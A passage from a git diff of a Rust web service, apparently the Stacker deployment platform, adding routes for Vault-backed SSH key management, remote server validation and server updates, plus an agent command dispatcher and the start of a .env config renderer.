server_id, &name) + .await + .map_err(JsonResponse::internal_server_error)? + .ok_or_else(|| JsonResponse::not_found("Secret not found"))?; + + let vault = build_vault(settings.get_ref())?; + vault + .delete_secret_value(&secret.vault_path) + .await + .map_err(|error| JsonResponse::internal_server_error(error.to_string()))?; + + db::remote_secret::delete_secret_by_id(pg_pool.get_ref(), secret.id) + .await + .map_err(JsonResponse::internal_server_error)?; + + Ok(JsonResponse::::build() + .set_meta(json!({ + "deleted": true, + "name": name, + "scope": "server" + })) + .ok("OK")) +} diff --git a/stacker/stacker/src/routes/server/ssh_key.rs b/stacker/stacker/src/routes/server/ssh_key.rs new file mode 100644 index 0000000..0ace3fa --- /dev/null +++ b/stacker/stacker/src/routes/server/ssh_key.rs @@ -0,0 +1,623 @@ +use crate::db; +use crate::helpers::{JsonResponse, VaultClient}; +use crate::models; +use actix_web::{delete, get, post, web, Responder, Result}; +use serde::{Deserialize, Serialize}; +use sqlx::PgPool; +use std::sync::Arc; +use std::time::Duration; + +/// Request body for uploading an existing SSH key pair +#[derive(Debug, Deserialize)] +pub struct UploadKeyRequest { + pub public_key: String, + pub private_key: String, +} + +/// Response containing the public key for copying +#[derive(Debug, Clone, Default, Serialize)] +pub struct PublicKeyResponse { + pub public_key: String, + pub fingerprint: Option, +} + +/// Response for SSH key generation +#[derive(Debug, Clone, Default, Serialize)] +pub struct GenerateKeyResponse { + pub public_key: String, + pub fingerprint: Option, + pub message: String, +} + +/// Response for SSH key generation (with optional private key if Vault fails) +#[derive(Debug, Clone, Default, Serialize)] +pub struct GenerateKeyResponseWithPrivate { + pub public_key: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub private_key: Option, + pub fingerprint: Option, + pub message: String, +} + +/// Request body for authorizing a caller-provided public key on the server +#[derive(Debug, Deserialize)] +pub struct AuthorizePublicKeyRequest { + pub public_key: String, + pub user: Option, + pub port: Option, +} + +/// Response for public key authorization +#[derive(Debug, Clone, Default, Serialize)] +pub struct AuthorizePublicKeyResponse { + pub server_id: i32, + pub srv_ip: String, + pub ssh_user: String, + pub ssh_port: u16, + pub authorized: bool, + pub message: String, +} + +/// Helper to verify server ownership +async fn verify_server_ownership( + pg_pool: &PgPool, + server_id: i32, + user_id: &str, +) -> Result { + db::server::fetch(pg_pool, server_id) + .await + .map_err(|_err| JsonResponse::::build().internal_server_error("")) + .and_then(|server| match server { + Some(s) if s.user_id != user_id => { + Err(JsonResponse::::build().not_found("Server not found")) + } + Some(s) => Ok(s), + None => Err(JsonResponse::::build().not_found("Server not found")), + }) +} + +/// Generate a new SSH key pair for a server +/// POST /server/{id}/ssh-key/generate +#[tracing::instrument(name = "Generate SSH key for server.", skip_all)] +#[post("/{id}/ssh-key/generate")] +pub async fn generate_key( + path: web::Path<(i32,)>, + user: web::ReqData>, + pg_pool: web::Data, + vault_client: web::Data, +) -> Result { + let server_id = path.0; + let server = verify_server_ownership(pg_pool.get_ref(), server_id, &user.id).await?; + + // Check if server already has an active key + if server.key_status == "active" { + return Err(JsonResponse::::build().bad_request( + "Server already has an active SSH key. Delete it first to generate a new one.", + )); + } + + // Update status to pending + db::server::update_ssh_key_status(pg_pool.get_ref(), server_id, None, "pending") + .await + .map_err(|e| JsonResponse::::build().internal_server_error(&e))?; + + // Generate SSH key pair + let (public_key, private_key) = VaultClient::generate_ssh_keypair().map_err(|e| { + tracing::error!("Failed to generate SSH keypair: {}", e); + // Reset status on failure + let _ = futures::executor::block_on(db::server::update_ssh_key_status( + pg_pool.get_ref(), + server_id, + None, + "failed", + )); + JsonResponse::::build() + .internal_server_error("Failed to generate SSH key") + })?; + + // Try to store in Vault, but don't fail if it doesn't work + let vault_result = vault_client + .get_ref() + .store_ssh_key(&user.id, server_id, &public_key, &private_key) + .await; + + let (vault_path, status, message, include_private_key) = match vault_result { + Ok(path) => { + tracing::info!("SSH key stored in Vault successfully"); + (Some(path), "active", "SSH key generated and stored in Vault successfully. Copy the public key to your server's authorized_keys.".to_string(), false) + } + Err(e) => { + tracing::warn!( + "Failed to store SSH key in Vault (continuing without Vault): {}", + e + ); + (None, "active", format!("SSH key generated successfully, but could not be stored in Vault ({}). Please save the private key shown below - it will not be shown again!", e), true) + } + }; + + // Update server with vault path and active status + db::server::update_ssh_key_status(pg_pool.get_ref(), server_id, vault_path, status) + .await + .map_err(|e| JsonResponse::::build().internal_server_error(&e))?; + + let response = GenerateKeyResponseWithPrivate { + public_key: public_key.clone(), + private_key: if include_private_key { + Some(private_key) + } else { + None + }, + fingerprint: None, // TODO: Calculate fingerprint + message, + }; + + Ok(JsonResponse::build() + .set_item(Some(response)) + .ok("SSH key generated")) +} + +/// Upload an existing SSH key pair for a server +/// POST /server/{id}/ssh-key/upload +#[tracing::instrument(name = "Upload SSH key for server.", skip_all)] +#[post("/{id}/ssh-key/upload")] +pub async fn upload_key( + path: web::Path<(i32,)>, + form: web::Json, + user: web::ReqData>, + pg_pool: web::Data, + vault_client: web::Data, +) -> Result { + let server_id = path.0; + let server = verify_server_ownership(pg_pool.get_ref(), server_id, &user.id).await?; + + // Check if server already has an active key + if server.key_status == "active" { + return Err(JsonResponse::::build().bad_request( + "Server already has an active SSH key. Delete it first to upload a new one.", + )); + } + + // Validate keys (basic check) + if !form.public_key.starts_with("ssh-") && !form.public_key.starts_with("ecdsa-") { + return Err(JsonResponse::::build() + .bad_request("Invalid public key format. Expected OpenSSH format.")); + } + + if !form.private_key.contains("PRIVATE KEY") { + return Err(JsonResponse::::build() + .bad_request("Invalid private key format. Expected PEM format.")); + } + + // Update status to pending + db::server::update_ssh_key_status(pg_pool.get_ref(), server_id, None, "pending") + .await + .map_err(|e| JsonResponse::::build().internal_server_error(&e))?; + + // Store in Vault + let vault_path = vault_client + .get_ref() + .store_ssh_key(&user.id, server_id, &form.public_key, &form.private_key) + .await + .map_err(|e| { + tracing::error!("Failed to store SSH key in Vault: {}", e); + let _ = futures::executor::block_on(db::server::update_ssh_key_status( + pg_pool.get_ref(), + server_id, + None, + "failed", + )); + JsonResponse::::build().internal_server_error("Failed to store SSH key") + })?; + + // Update server with vault path and active status + let updated_server = + db::server::update_ssh_key_status(pg_pool.get_ref(), server_id, Some(vault_path), "active") + .await + .map_err(|e| JsonResponse::::build().internal_server_error(&e))?; + + Ok(JsonResponse::build() + .set_item(Some(updated_server)) + .ok("SSH key uploaded successfully")) +} + +/// Get the public key for a server (for copying to authorized_keys) +/// GET /server/{id}/ssh-key/public +#[tracing::instrument(name = "Get public SSH key for server.", skip_all)] +#[get("/{id}/ssh-key/public")] +pub async fn get_public_key( + path: web::Path<(i32,)>, + user: web::ReqData>, + pg_pool: web::Data, + vault_client: web::Data, +) -> Result { + let server_id = path.0; + let server = verify_server_ownership(pg_pool.get_ref(), server_id, &user.id).await?; + + if server.key_status != "active" { + return Err(JsonResponse::::build() + .not_found("No active SSH key found for this server")); + } + + if server.vault_key_path.is_none() { + return Err(JsonResponse::::build() + .bad_request("SSH key is not stored in Vault (Vault was unavailable when the key was generated). Please delete this key and generate a new one.")); + } + + let public_key = vault_client + .get_ref() + .fetch_ssh_public_key(&user.id, server_id) + .await + .map_err(|e| { + tracing::error!("Failed to fetch public key from Vault: {}", e); + if e.to_lowercase().contains("not found") { + JsonResponse::::build() + .not_found("SSH key not found in Vault. The key may have been lost or Vault was restored without its data. Please delete this key and generate a new one.") + } else { + JsonResponse::::build() + .bad_request("Failed to retrieve SSH key from Vault. Please try again or regenerate the key.") + } + })?; + + let response = PublicKeyResponse { + public_key, + fingerprint: None, // TODO: Calculate fingerprint + }; + + Ok(JsonResponse::build().set_item(Some(response)).ok("OK")) +} + +/// Authorize a caller-provided public key on the remote server. +/// +/// POST /server/{id}/ssh-key/authorize-public-key +/// +/// The caller sends only public key material. Stacker retrieves the server's +/// Vault-managed private key and uses it server-side to append the provided +/// public key to `authorized_keys` idempotently. +#[tracing::instrument(name = "Authorize public SSH key for server.", skip_all)] +#[post("/{id}/ssh-key/authorize-public-key")] +pub async fn authorize_public_key( + path: web::Path<(i32,)>, + form: web::Json, + user: web::ReqData>, + pg_pool: web::Data, + vault_client: web::Data, +) -> Result { + use crate::helpers::ssh_client; + + let server_id = path.0; + let server = verify_server_ownership(pg_pool.get_ref(), server_id, &user.id).await?; + + if server.key_status != "active" { + return Err( + JsonResponse::::build().bad_request(format!( + "SSH key status is '{}', not active", + server.key_status + )), + ); + } + + if server.vault_key_path.is_none() { + return Err(JsonResponse::::build().bad_request( + "SSH key is not stored in Vault. Regenerate the server SSH key before authorizing a backup key.", + )); + } + + let public_key = form.public_key.trim(); + ssh_key::PublicKey::from_openssh(public_key).map_err(|e| { + JsonResponse::::build() + .bad_request(format!("Invalid public key format: {}", e)) + })?; + + let srv_ip = server + .srv_ip + .as_deref() + .filter(|ip| !ip.trim().is_empty()) + .ok_or_else(|| { + JsonResponse::::build() + .bad_request("Server IP address not configured") + })? + .to_string(); + + let private_key = vault_client + .get_ref() + .fetch_ssh_key(&user.id, server_id) + .await + .map_err(|e| { + tracing::warn!( + "Failed to fetch SSH key from Vault while authorizing backup key: {}", + e + ); + JsonResponse::::build() + .bad_request("SSH key could not be retrieved from secure storage") + })?; + + let ssh_user = form + .user + .as_deref() + .map(str::trim) + .filter(|value| !value.is_empty()) + .map(ToOwned::to_owned) + .or_else(|| server.ssh_user.clone()) + .unwrap_or_else(|| "root".to_string()); + let ssh_port = form + .port + .unwrap_or_else(|| server.ssh_port.unwrap_or(22) as u16); + + ssh_client::authorize_public_key( + &srv_ip, + ssh_port, + &ssh_user, + &private_key, + public_key, + Duration::from_secs(4), + ) + .await + .map_err(|e| { + tracing::warn!( + "Failed to authorize backup public key for server {}: {}", + server_id, + e + ); + JsonResponse::::build() + .bad_request(format!("Failed to authorize public key on server: {}", e)) + })?; + + let response = AuthorizePublicKeyResponse { + server_id, + srv_ip, + ssh_user, + ssh_port, + authorized: true, + message: "Public key authorized successfully".to_string(), + }; + + Ok(JsonResponse::build() + .set_item(Some(response)) + .ok("Public key authorized")) +} + +/// Response for SSH validation with full system check +#[derive(Debug, Clone, Default, Serialize)] +pub struct ValidateResponse { + pub valid: bool, + pub server_id: i32, + pub srv_ip: Option, + pub message: String, + /// SSH connection was successful + pub connected: bool, + /// SSH authentication was successful + pub authenticated: bool, + /// Username from whoami + #[serde(skip_serializing_if = "Option::is_none")] + pub username: Option, + /// Total disk space in GB + #[serde(skip_serializing_if = "Option::is_none")] + pub disk_total_gb: Option, + /// Available disk space in GB + #[serde(skip_serializing_if = "Option::is_none")] + pub disk_available_gb: Option, + /// Disk usage percentage + #[serde(skip_serializing_if = "Option::is_none")] + pub disk_usage_percent: Option, + /// Docker is installed + pub docker_installed: bool, + /// Docker version string + #[serde(skip_serializing_if = "Option::is_none")] + pub docker_version: Option, + /// OS name (from /etc/os-release) + #[serde(skip_serializing_if = "Option::is_none")] + pub os_name: Option, + /// OS version + #[serde(skip_serializing_if = "Option::is_none")] + pub os_version: Option, + /// Total memory in MB + #[serde(skip_serializing_if = "Option::is_none")] + pub memory_total_mb: Option, + /// Available memory in MB + #[serde(skip_serializing_if = "Option::is_none")] + pub memory_available_mb: Option, + /// Public key stored in Vault (shown only on auth failure for debugging) + #[serde(skip_serializing_if = "Option::is_none")] + pub vault_public_key: Option, +} + +/// Validate SSH connection for a server +/// POST /server/{id}/ssh-key/validate +/// +/// This endpoint: +/// 1. Verifies the server exists and belongs to the user +/// 2. Checks the SSH key is active and retrieves it from Vault +/// 3. Connects to the server via SSH and authenticates +/// 4. Runs system diagnostic commands (whoami, df, docker, os-release, free) +/// 5. Returns comprehensive system information +#[tracing::instrument(name = "Validate SSH key for server.", skip_all)] +#[post("/{id}/ssh-key/validate")] +pub async fn validate_key( + path: web::Path<(i32,)>, + user: web::ReqData>, + pg_pool: web::Data, + vault_client: web::Data, +) -> Result { + use crate::helpers::ssh_client; + use std::time::Duration; + + let server_id = path.0; + let server = verify_server_ownership(pg_pool.get_ref(), server_id, &user.id).await?; + + // Check if server has an active key + if server.key_status != "active" { + let response = ValidateResponse { + valid: false, + server_id, + srv_ip: server.srv_ip.clone(), + message: format!("SSH key status is '{}', not active", server.key_status), + ..Default::default() + }; + return Ok(JsonResponse::build() + .set_item(Some(response)) + .ok("Validation failed")); + } + + if server.vault_key_path.is_none() { + let response = ValidateResponse { + valid: false, + server_id, + srv_ip: server.srv_ip.clone(), + message: "SSH key is not stored in Vault (Vault was unavailable when the key was generated). Please delete this key and generate a new one.".to_string(), + ..Default::default() + }; + return Ok(JsonResponse::build() + .set_item(Some(response)) + .ok("Validation failed")); + } + + // Verify we have the server IP + let srv_ip = match &server.srv_ip { + Some(ip) if !ip.is_empty() => ip.clone(), + _ => { + let response = ValidateResponse { + valid: false, + server_id, + srv_ip: server.srv_ip.clone(), + message: "Server IP address not configured".to_string(), + ..Default::default() + }; + return Ok(JsonResponse::build() + .set_item(Some(response)) + .ok("Validation failed")); + } + }; + + // Fetch private key from Vault + let private_key = match vault_client + .get_ref() + .fetch_ssh_key(&user.id, server_id) + .await + { + Ok(key) => key, + Err(e) => { + tracing::warn!( + "Failed to fetch SSH key from Vault during validation: {}", + e + ); + let response = ValidateResponse { + valid: false, + server_id, + srv_ip: server.srv_ip.clone(), + message: "SSH key could not be retrieved from secure storage".to_string(), + ..Default::default() + }; + return Ok(JsonResponse::build() + .set_item(Some(response)) + .ok("Validation failed")); + } + }; + + // Also fetch public key so we can include it in failed auth responses for debugging + let vault_public_key = vault_client + .get_ref() + .fetch_ssh_public_key(&user.id, server_id) + .await + .ok(); + + // Get SSH connection parameters + let ssh_port = server.ssh_port.unwrap_or(22) as u16; + let ssh_user = server + .ssh_user + .clone() + .unwrap_or_else(|| "root".to_string()); + + // Perform SSH connection and system check + let check_result = ssh_client::check_server( + &srv_ip, + ssh_port, + &ssh_user, + &private_key, + Duration::from_secs(4), + ) + .await; + + // Build response from check result + let valid = check_result.connected && check_result.authenticated; + let message = if valid { + check_result.summary() + } else { + check_result + .error + .unwrap_or_else(|| "SSH validation failed".to_string()) + }; + + let response = ValidateResponse { + valid, + server_id, + srv_ip: Some(srv_ip), + message, + connected: check_result.connected, + authenticated: check_result.authenticated, + // Include vault public key in response when auth fails (helps debug key mismatch) + vault_public_key: if !check_result.authenticated { + vault_public_key + } else { + None + }, + username: check_result.username, + disk_total_gb: check_result.disk_total_gb, + disk_available_gb: check_result.disk_available_gb, + disk_usage_percent: check_result.disk_usage_percent, + docker_installed: check_result.docker_installed, + docker_version: check_result.docker_version, + os_name: check_result.os_name, + os_version: check_result.os_version, + memory_total_mb: check_result.memory_total_mb, + memory_available_mb: check_result.memory_available_mb, + }; + + let ok_message = if valid { + "SSH connection validated successfully" + } else { + "SSH validation failed" + }; + + Ok(JsonResponse::build() + .set_item(Some(response)) + .ok(ok_message)) +} + +/// Delete SSH key for a server (disconnect) +/// DELETE /server/{id}/ssh-key +#[tracing::instrument(name = "Delete SSH key for server.", skip_all)] +#[delete("/{id}/ssh-key")] +pub async fn delete_key( + path: web::Path<(i32,)>, + user: web::ReqData>, + pg_pool: web::Data, + vault_client: web::Data, +) -> Result { + let server_id = path.0; + let server = verify_server_ownership(pg_pool.get_ref(), server_id, &user.id).await?; + + if server.key_status == "none" { + return Err(JsonResponse::::build() + .bad_request("No SSH key to delete for this server")); + } + + // Delete from Vault + if let Err(e) = vault_client + .get_ref() + .delete_ssh_key(&user.id, server_id) + .await + { + tracing::warn!("Failed to delete SSH key from Vault (may not exist): {}", e); + // Continue anyway - the key might not exist in Vault + } + + // Update server status + let updated_server = + db::server::update_ssh_key_status(pg_pool.get_ref(), server_id, None, "none") + .await + .map_err(|e| JsonResponse::::build().internal_server_error(&e))?; + + Ok(JsonResponse::build() + .set_item(Some(updated_server)) + .ok("SSH key deleted successfully")) +} diff --git a/stacker/stacker/src/routes/server/update.rs b/stacker/stacker/src/routes/server/update.rs new file mode 100644 index 0000000..8cf36af --- /dev/null +++ b/stacker/stacker/src/routes/server/update.rs @@ -0,0 +1,91 @@ +use crate::db; +use crate::forms; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{put, web, web::Data, Responder, Result}; +use serde_valid::Validate; +use sqlx::PgPool; +use std::ops::Deref; +use std::sync::Arc; + +#[tracing::instrument(name = "Update server.", skip_all)] +#[put("/{id}")] +pub async fn item( + path: web::Path<(i32,)>, + form: web::Json, + user: web::ReqData>, + pg_pool: Data, +) -> Result { + let id = path.0; + let server_row = db::server::fetch(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .and_then(|server| match server { + Some(server) if server.user_id != user.id => { + Err(JsonResponse::::build().not_found("Server not found")) + } + Some(server) => Ok(server), + None => Err(JsonResponse::::build().not_found("Server not found")), + })?; + + if let Err(errors) = form.validate() { + return Err(JsonResponse::::build().form_error(errors.to_string())); + } + + let mut server: models::Server = form.deref().into(); + server.id = server_row.id; + server.project_id = server_row.project_id; + server.user_id = user.id.clone(); + + // Preserve existing values when form fields are not provided (None) + // This prevents accidental data loss (e.g., IP getting wiped to NULL) + if server.srv_ip.is_none() { + server.srv_ip = server_row.srv_ip.clone(); + } + if server.ssh_port.is_none() { + server.ssh_port = server_row.ssh_port; + } + if server.ssh_user.is_none() { + server.ssh_user = server_row.ssh_user.clone(); + } + if server.name.is_none() { + server.name = server_row.name.clone(); + } + if server.cloud_id.is_none() { + server.cloud_id = server_row.cloud_id; + } + if server.region.is_none() { + server.region = server_row.region.clone(); + } + if server.zone.is_none() { + server.zone = server_row.zone.clone(); + } + if server.server.is_none() { + server.server = server_row.server.clone(); + } + if server.os.is_none() { + server.os = server_row.os.clone(); + } + if server.disk_type.is_none() { + server.disk_type = server_row.disk_type.clone(); + } + if server.vault_key_path.is_none() { + server.vault_key_path = server_row.vault_key_path.clone(); + } + // Preserve key_status from existing record (not settable via form) + server.key_status = server_row.key_status.clone(); + + tracing::debug!("Updating server {:?}", server); + + db::server::update(pg_pool.get_ref(), server) + .await + .map(|server| { + JsonResponse::::build() + .set_item(server) + .ok("success") + }) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + JsonResponse::::build().internal_server_error("Could not update server") + }) +} diff --git a/stacker/stacker/src/routes/test/deploy.rs b/stacker/stacker/src/routes/test/deploy.rs new file mode 100644 index 0000000..3537cb7 --- /dev/null +++ b/stacker/stacker/src/routes/test/deploy.rs @@ -0,0 +1,20 @@ +use crate::helpers::JsonResponse; +use crate::models::Client; +use actix_web::{post, web, Responder, Result}; +use serde::Serialize; +use std::sync::Arc; + +#[derive(Serialize)] +#[allow(dead_code)] +struct DeployResponse { + status: String, + client: Arc, +} + +#[tracing::instrument(name = "Test deploy.", skip_all)] +#[post("/deploy")] +pub async fn handler(client: web::ReqData>) -> Result { + Ok(JsonResponse::build() + .set_item(client.into_inner()) + .ok("success")) +} diff --git a/stacker/stacker/src/routes/test/mod.rs b/stacker/stacker/src/routes/test/mod.rs new file mode 100644 index 0000000..a554310 --- /dev/null +++ b/stacker/stacker/src/routes/test/mod.rs @@ -0,0 +1,2 @@ +pub mod deploy; +pub mod stack_view; diff --git a/stacker/stacker/src/routes/test/stack_view.rs b/stacker/stacker/src/routes/test/stack_view.rs new file mode 100644 index 0000000..a8e3a50 --- /dev/null +++ b/stacker/stacker/src/routes/test/stack_view.rs @@ -0,0 +1,30 @@ +use crate::connectors::user_service::UserServiceClient; +use actix_web::{get, web, HttpResponse, Responder}; + +#[get("/stack_view")] +pub async fn test_stack_view( + settings: web::Data, +) -> impl Responder { + tracing::info!("Testing stack_view fetch from user service"); + + let client = UserServiceClient::new_public(&settings.user_service_url); + + match client.search_stack_view("", None).await { + Ok(apps) => { + tracing::info!("Successfully fetched {} applications", apps.len()); + HttpResponse::Ok().json(serde_json::json!({ + "success": true, + "count": apps.len(), + "message": format!("Successfully fetched {} applications from {}", apps.len(), settings.user_service_url) + })) + } + Err(e) => { + tracing::error!("Failed to fetch stack_view: {:?}", e); + HttpResponse::InternalServerError().json(serde_json::json!({ + "success": false, + "error": e.to_string(), + "url": settings.user_service_url.clone() + })) + } + } +} diff --git a/stacker/stacker/src/services/agent_dispatcher.rs b/stacker/stacker/src/services/agent_dispatcher.rs new file mode 100644 index 0000000..7aa1851 --- /dev/null +++ b/stacker/stacker/src/services/agent_dispatcher.rs @@ -0,0 +1,90 @@ +use crate::{ + db, helpers, + models::{Command, CommandPriority}, +}; +use helpers::VaultClient; +use serde_json::Value; +use sqlx::PgPool; + +/// AgentDispatcher - queue commands for Status Panel agents +pub struct AgentDispatcher<'a> { + pg: &'a PgPool, +} + +impl<'a> AgentDispatcher<'a> { + pub fn new(pg: &'a PgPool) -> Self { + Self { pg } + } + + /// Queue a command for the agent to execute + pub async fn queue_command( + &self, + deployment_id: i32, + command_type: &str, + parameters: Value, + ) -> Result { + // Get deployment hash + let deployment = db::deployment::fetch(self.pg, deployment_id) + .await + .map_err(|e| format!("Failed to fetch deployment: {}", e))? + .ok_or_else(|| "Deployment not found".to_string())?; + + let command_id = uuid::Uuid::new_v4().to_string(); + + // Create command using the model's constructor and builder pattern + let command = Command::new( + command_id.clone(), + deployment.deployment_hash.clone(), + command_type.to_string(), + "mcp_tool".to_string(), + ) + .with_priority(CommandPriority::Normal) + .with_parameters(parameters); + + db::command::insert(self.pg, &command) + .await + .map_err(|e| format!("Failed to insert command: {}", e))?; + + db::command::add_to_queue( + self.pg, + &command_id, + &deployment.deployment_hash, + &CommandPriority::Normal, + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + tracing::info!( + deployment_id = deployment_id, + command_id = %command_id, + command_type = %command_type, + "Queued command for agent" + ); + + Ok(command_id) + } +} + +/// Rotate token by writing the new value into Vault. +/// Agent is expected to pull the latest token from Vault. +#[tracing::instrument(name = "AgentDispatcher rotate_token", skip(pg, vault, new_token), fields(deployment_hash = %deployment_hash))] +pub async fn rotate_token( + pg: &PgPool, + vault: &VaultClient, + deployment_hash: &str, + new_token: &str, +) -> Result<(), String> { + // Ensure agent exists for the deployment + let _ = db::agent::fetch_by_deployment_hash(pg, deployment_hash) + .await + .map_err(|e| format!("DB error: {}", e))? + .ok_or_else(|| "Agent not found for deployment_hash".to_string())?; + + tracing::info!(deployment_hash = %deployment_hash, "Storing rotated token in Vault"); + vault + .store_agent_token(deployment_hash, new_token) + .await + .map_err(|e| format!("Vault store error: {}", e))?; + + Ok(()) +} diff --git a/stacker/stacker/src/services/config_renderer.rs b/stacker/stacker/src/services/config_renderer.rs new file mode 100644 index 0000000..dd06c1d --- /dev/null +++ b/stacker/stacker/src/services/config_renderer.rs @@ -0,0 +1,1778 @@ +//! ConfigRenderer Service - Unified Configuration Management +//! +//! This service converts ProjectApp records from the database into deployable +//! configuration files (docker-compose.yml, .env files) using Tera templates. +//! +//! It serves as the single source of truth for generating configs that are: +//! 1. Stored in Vault for Status Panel to fetch +//! 2. Used during initial deployment via Ansible +//! 3. Applied for runtime configuration updates + +use crate::configuration::DeploymentSettings; +use crate::db; +use crate::helpers::env_path::{compose_env_file_reference, remote_runtime_env_path}; +use crate::models::{Project, ProjectApp}; +use crate::services::env_model::{ + normalize_optional_json_env, reconcile_env_layers, EnvLayer, ReconciledEnv, +}; +use crate::services::vault_service::{AppConfig, VaultError, VaultService}; +use anyhow::{Context, Result}; +use serde::{Deserialize, Serialize}; +use serde_json::Value; +use sha2::{Digest, Sha256}; +use sqlx::PgPool; +use std::collections::{BTreeMap, HashMap}; +use tera::{Context as TeraContext, Tera}; + +const RESERVED_ENV_PREFIXES: &[&str] = &["STACKER_", "DOCKER_", "VAULT_", "AGENT_"]; + +/// Rendered configuration bundle for a deployment +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ConfigBundle { + /// The project/deployment identifier + pub deployment_hash: String, + /// Version of this configuration bundle (incrementing) + pub version: u64, + /// Docker Compose file content (YAML) + pub compose_content: String, + /// Per-app configuration files (.env, config files) + pub app_configs: HashMap, + /// Timestamp when bundle was generated + pub generated_at: chrono::DateTime, +} + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +pub struct RenderedEnv { + pub content: String, + pub hash: String, + pub inputs: Vec<&'static str>, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct EnvRenderInput { + pub version: u64, + pub generated_at: chrono::DateTime, + pub base: HashMap, + pub generated: HashMap, + pub server: HashMap, + pub inherit_server_secrets: bool, + pub service: HashMap, + pub compose_environment: HashMap, +} + +impl Default for EnvRenderInput { + fn default() -> Self { + Self { + version: 1, + generated_at: chrono::Utc::now(), + base: HashMap::new(), + generated: HashMap::new(), + server: HashMap::new(), + inherit_server_secrets: false, + service: HashMap::new(), + compose_environment: HashMap::new(), + } + } +} + +#[derive(Debug, thiserror::Error, PartialEq, Eq)] +pub enum EnvRenderError { + #[error("Invalid env key '{key}': must match ^[A-Z_][A-Z0-9_]*$")] + InvalidKey { key: String }, + #[error( + "Reserved env key '{key}': prefixes STACKER_, DOCKER_, VAULT_, and AGENT_ are not allowed" + )] + ReservedKey { key: String }, + #[error("Invalid env value for '{key}': multiline values are not supported")] + MultilineValue { key: String }, + #[error("Runtime env drift detected: expected hash {expected_hash}, found {actual_hash}; rerun with --force to overwrite")] + DriftDetected { + expected_hash: String, + actual_hash: String, + }, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct EnvDriftCheck { + pub can_write: bool, + pub actual_hash: Option, + pub forced: bool, +} + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +pub struct EnvRenderAuditEvent { + pub user_id: String, + pub project_id: i32, + pub app_code: String, + pub version: u64, + pub hash: String, + pub inputs: Vec, + pub forced: bool, + pub prior_hash: Option, +} + +pub fn render_env(input: EnvRenderInput) -> std::result::Result { + let ReconciledEnv { entries, inputs } = reconcile_render_input(&input); + let environment = entries; + validate_env(&environment)?; + + let body = format_env_body(&environment); + let hash = sha256_hex(body.as_bytes()); + let header = format_header_stamp(input.version, &hash, input.generated_at, &inputs); + + Ok(RenderedEnv { + content: format!("{header}\n{body}"), + hash, + inputs, + }) +} + +pub fn format_header_stamp( + version: u64, + hash: &str, + generated_at: chrono::DateTime, + inputs: &[&'static str], +) -> String { + format!( + "# stacker-render version={} hash={} generated_at={} inputs={}", + version, + hash, + generated_at.to_rfc3339(), + inputs.join(",") + ) +} + +pub fn check_env_drift( + current_content: Option<&str>, + expected_hash: Option<&str>, + force: bool, +) -> std::result::Result { + let Some(current_content) = current_content else { + return Ok(EnvDriftCheck { + can_write: true, + actual_hash: None, + forced: force, + }); + }; + let Some(expected_hash) = expected_hash else { + return Ok(EnvDriftCheck { + can_write: true, + actual_hash: Some(env_body_hash(current_content)), + forced: force, + }); + }; + + let actual_hash = env_body_hash(current_content); + if actual_hash == expected_hash || force { + let forced = force && actual_hash != expected_hash; + return Ok(EnvDriftCheck { + can_write: true, + actual_hash: Some(actual_hash), + forced, + }); + } + + Err(EnvRenderError::DriftDetected { + expected_hash: expected_hash.to_string(), + actual_hash, + }) +} + +pub fn build_env_render_audit_event( + user_id: &str, + project_id: i32, + app_code: &str, + rendered: &RenderedEnv, + forced: bool, + prior_hash: Option, +) -> EnvRenderAuditEvent { + EnvRenderAuditEvent { + user_id: user_id.to_string(), + project_id, + app_code: app_code.to_string(), + version: rendered + .content + .lines() + .next() + .and_then(parse_header_version) + .unwrap_or_default(), + hash: rendered.hash.clone(), + inputs: rendered + .inputs + .iter() + .map(|input| input.to_string()) + .collect(), + forced, + prior_hash, + } +} + +pub fn emit_env_render_audit(event: &EnvRenderAuditEvent) { + tracing::info!( + user_id = %event.user_id, + project_id = event.project_id, + app_code = %event.app_code, + version = event.version, + hash = %event.hash, + inputs = ?event.inputs, + forced = event.forced, + prior_hash = ?event.prior_hash, + "Rendered runtime env file" + ); +} + +fn reconcile_render_input(input: &EnvRenderInput) -> ReconciledEnv { + let mut layers = vec![ + EnvLayer { + name: "base", + entries: &input.base, + include_in_inputs: true, + }, + EnvLayer { + name: "generated", + entries: &input.generated, + include_in_inputs: false, + }, + ]; + + if input.inherit_server_secrets { + layers.push(EnvLayer { + name: "server", + entries: &input.server, + include_in_inputs: true, + }); + } + + layers.push(EnvLayer { + name: "service", + entries: &input.service, + include_in_inputs: true, + }); + layers.push(EnvLayer { + name: "compose", + entries: &input.compose_environment, + include_in_inputs: true, + }); + + reconcile_env_layers(&layers) +} + +#[derive(Debug, Clone, PartialEq, Eq, Default)] +struct ResolvedAppEnvironment { + authored: HashMap, + service: HashMap, +} + +impl ResolvedAppEnvironment { + fn effective(&self) -> HashMap { + reconcile_env_layers(&[ + EnvLayer { + name: "base", + entries: &self.authored, + include_in_inputs: false, + }, + EnvLayer { + name: "service", + entries: &self.service, + include_in_inputs: false, + }, + ]) + .entries + .into_iter() + .collect() + } +} + +fn validate_env(environment: &BTreeMap) -> std::result::Result<(), EnvRenderError> { + for (key, value) in environment { + if !is_valid_env_key(key) { + return Err(EnvRenderError::InvalidKey { key: key.clone() }); + } + if RESERVED_ENV_PREFIXES + .iter() + .any(|prefix| key.starts_with(prefix)) + { + return Err(EnvRenderError::ReservedKey { key: key.clone() }); + } + if value.contains('\n') || value.contains('\r') { + return Err(EnvRenderError::MultilineValue { key: key.clone() }); + } + } + + Ok(()) +} + +fn is_valid_env_key(key: &str) -> bool { + let mut chars = key.chars(); + match chars.next() { + Some(first) if first == '_' || first.is_ascii_uppercase() => {} + _ => return false, + } + + chars.all(|char| char == '_' || char.is_ascii_uppercase() || char.is_ascii_digit()) +} + +fn format_env_body(environment: &BTreeMap) -> String { + let mut body = String::new(); + for (key, value) in environment { + body.push_str(key); + body.push('='); + body.push_str(value); + body.push('\n'); + } + body +} + +fn sha256_hex(bytes: &[u8]) -> String { + let digest = 